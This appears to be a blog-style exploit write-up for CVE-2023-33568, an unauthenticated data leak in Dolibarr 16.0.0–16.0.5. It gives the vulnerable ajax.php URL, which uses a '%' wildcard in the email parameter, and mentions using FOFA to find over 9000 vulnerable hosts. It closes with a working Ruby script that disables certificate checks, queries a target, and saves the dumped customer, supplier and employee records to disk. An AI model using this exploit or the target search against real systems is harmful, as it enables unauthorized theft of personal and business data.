CVE-2023-33568

Dolibarr 16.0.0 to 16.0.5 unauthenticated DB access

"An issue in Dolibarr v16.0.0 to v16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists." -github.com Dolibarr is a modern software package to manage companies or foundation's activities. Dolibarr improves SQL protections in his product. But looking at the source code on github, specifically in the public function searchContactByEmail we can see something suspicious:
[*] dolibar_code.png
Can you see it? Yes, the "LIKE" operator! Using the sql special character "%" we can dump the whole database (if a contact file exists, of course). So, going back to the URL we could see that the vulnerable URL path and query string is: /public/ticket/ajax/ajax.php?action=getContacts&email=% Reference: dsecbypass.com
[*] dolibar.png

Looking for vulnerable targets

Affected product versions are from 16.0.0 to 16.0.5, so it's easy searching vulnerable targets. With this FOFA query we can see more than 9000 vulnerable hosts.
[*] fofa_results.png


Exploit code

To automate this, i wrote this exploit in ruby
require 'http'
require 'openssl'

puts """
CVE-2023-33568
Dolibarr 16.0.0 to 16.0.5 unauthenticated DB access exploit
By komodo\n
"""

$cont=1
$dirname="Dolibarr_dump"
def dir(name=$dirname)
    begin
        Dir.mkdir(name)
        Dir.chdir(name)
    rescue Errno::EEXIST
        $cont+=1
        dir("#{$dirname}-#{$cont}")
    end
end

def main(url)
    url.delete_suffix!("/") unless url[-1..-1] != "/"
    @ctx = OpenSSL::SSL::SSLContext.new()
    @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    r=HTTP.get("#{url}/public/ticket/ajax/ajax.php?action=getContacts&email=%",:ssl_context=>@ctx)
    if r.body.to_s[0..0xc]=='{"contacts":['&&r.body.to_s[0xd]!="]"
        dir()
        File.open("!target.txt", "w"){|f|f.write(url)}
        File.new("db_dump.json","w").write(r.body)
        puts "Database dump saved on '#{Dir.pwd.split("/")[-1]}/db_dump.json' file."
    else
        puts "Not vulnerable! :(\n"
    end
end

begin
    print "Base URL: "
    main(gets.chomp)
rescue => e 
    abort(e.to_s)
end